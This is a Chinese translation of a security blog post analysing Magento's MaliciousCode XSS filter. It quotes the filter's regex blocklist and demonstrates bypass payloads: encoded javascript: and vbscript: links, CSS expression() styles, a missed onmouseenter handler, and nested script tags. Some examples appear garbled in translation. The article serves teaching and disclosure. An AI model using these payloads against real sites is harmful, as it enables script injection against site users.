转载

绕过XSS filters的几种方法

绕过XSS filters的几种方法

XSS跨站脚本攻击是指,黑客向一个页面中注入Javascript脚本,其它的用户访问该页面时会执行这个脚本。为了防止这一攻击,一些软件尝试从输入中移除Javascript代码。这很难正确实现。在这篇文章中我会展示一些试图移除输入里的Javascript脚本的代码,并演示几中绕过它的方法。

以网上商城软件 Magento 中的类 Mage_Core_Model_Input_Filter_MaliciousCode 为例。这个类的作用是过滤“恶意代码”,包括以任何形式插入的Javascript。

代码如下所示:

protected $_expressions = array(     '/(///*.*/*//)/Us',     '/(/t)/',     '/(javascript/s*:)/Usi',     '/(@import)/Usi',     '/style=[^<]*((expression/s*?/([^<]*?/))|(behavior/s*:))[^<]*(?=/>)/Uis',     '/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=/>)/Uis',     '/<//?(script|meta|link|frame|iframe).*>/Uis',     '/src=[^<]*base64[^<]*(?=/>)/Uis', ); function filter($value) {     return preg_replace($this->_expressions, '', $value); }

$_expressions变量包含一个正则表达式列表,preg_replace函数会移除文本中匹配该正则表达式的内容。所以如果你输入<script>foo</script>,两个标签都会被移除,只保留foo。

让我们看一些绕过这个filter的方法。我们的目标是绕过它传递一些执行Javascript的HTML代码。这个filter有若干表达式,它们的含义是阻止下面的内容:

绕过XSS filters的几种方法

Javascript URL

可以在URL中使用javascript:…让该链接执行javascript:

<a href="javascript:alert('test')">link</a>

filter移除了代码中的javascript:,所以我们不能直接用上面的代码。我们可以试着改变javascript:部分,让浏览器任然执行它并且正则表达式匹配不上。我们试试URL-encode:

<a href="javascript:alert('xss')">link</a>

正则表达式匹配不上了,但浏览器在用它之前对该链接做了URL-decode操作,所以依然可以执行它。

除了Javascript之外还有VBScript。它在IE11中被弃用并且禁用了,但是在Internet Explorer的老版本中依然可以使用,如果你把IE 11设置为IE 10模拟模式的话也是可用的。我们可以像Javascript链接那样执行相同的代码。

<a href='vbscript:MsgBox("XSS")'>link</a>

CSS导入

Internet Explorer在CSS中支持Javascript表达式,称为动态属性 https://msdn.microsoft.com/en-us/library/ms537634 (v=vs.85).aspx。允许攻击者加载外部的CSS样式表是非常危险的,因为攻击者可以在原始页面的上下文中执行Javascript。

在恶意的css中:

body {     color: expression(alert('XSS')); }

我们可以在CSS中使用反斜杠转义字符来规避@import过滤。

Internet Explorer允许反斜杠,现在它绕过了我们的filter。

Inline样式

我们也可以使用Inernet Explorer支持的内嵌样式中的动态属性:

<div style="color: expression(alert('XSS'))">

filter会检查这样的字符串,style后面跟的不是<并且后面包含expression:

/style=[^<]*((expression/s*?/([^<]*?/))|(behavior/s*:))[^<]*(?=/>)/Uis

因此,我们在那里增加一个<.

<div style="color: '<'; color: expression(alert('XSS'))">

这可以绕过filter,因为[^<]匹配不上<,并且这还是一个有效的CSS,虽然“<”不是一个有效的color,但是其余部分仍然被使用了。

Javascript事件

可以在一个元素上定义事件句柄,如下:

<div onclick="alert('xss')">

这样,这个Javascript会在有人点击它的时候执行,但是也有一些事件是在页面加载后或者用户移动鼠标的时候触发。filter移除了许多这样的事件,但是它并没有包含所有的事件句柄。比如,漏了onmouseenter:

<div onmouseenter="alert('xss')">

我们的代码会在用户把鼠标移动到div上面时执行。

另一个绕过的方法是在属性和”=”之间加上一个空格。Magento在最新版本的恶意代码filter中已经修复了它。

<div onclick ="alert('xss')">

Script标签

Script标签可以用来定义行内脚本,或者从其它位置加载脚本文件:

我们的filter移除了<script>标签。然而,它只是做一次,因此我们可以让我们想要的内容在移除标签之后出现:

<scr<script>ipt>alert("XSS")</scr<script>ipt>

filter移除了两个发现的<script>,最后我们还是执行了想要的代码。实际上,这个嵌套标签的办法可以用来规避任意的filter表达式。

结论

尽管filter试图阻止了几种脚本注入的办法,我们都找到了规避的方法。创建一个filter来规避XSS攻击是不容易的。你必须考虑各种编码类型以及不同的浏览器行为。这让开发者做起来很难,却方便了攻击者。

安全影响

我展示了几种绕过filter的办法。这是一个安全威胁,除非没有对不可信输入使用这个filter。在 Magento 2.0.1 release notes 中有这样一段话:

用户在输入HTML代码的时候可以轻易绕过MaliciousCode filter函数。但是,Magento几乎不用这个filter,并且当前的用法都不允许未授权用户输入。

1月23日,我进一步联系了Magento,他们不认为这是一个安全问题,所以我发布了这篇文章。

*本文译者:felix,翻译自: http://www.sjoerdlangkemper.nl/2016/01/29/circumventing-xss-filters/ ,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

原文  http://www.freebuf.com/articles/web/104656.html
正文到此结束
Loading...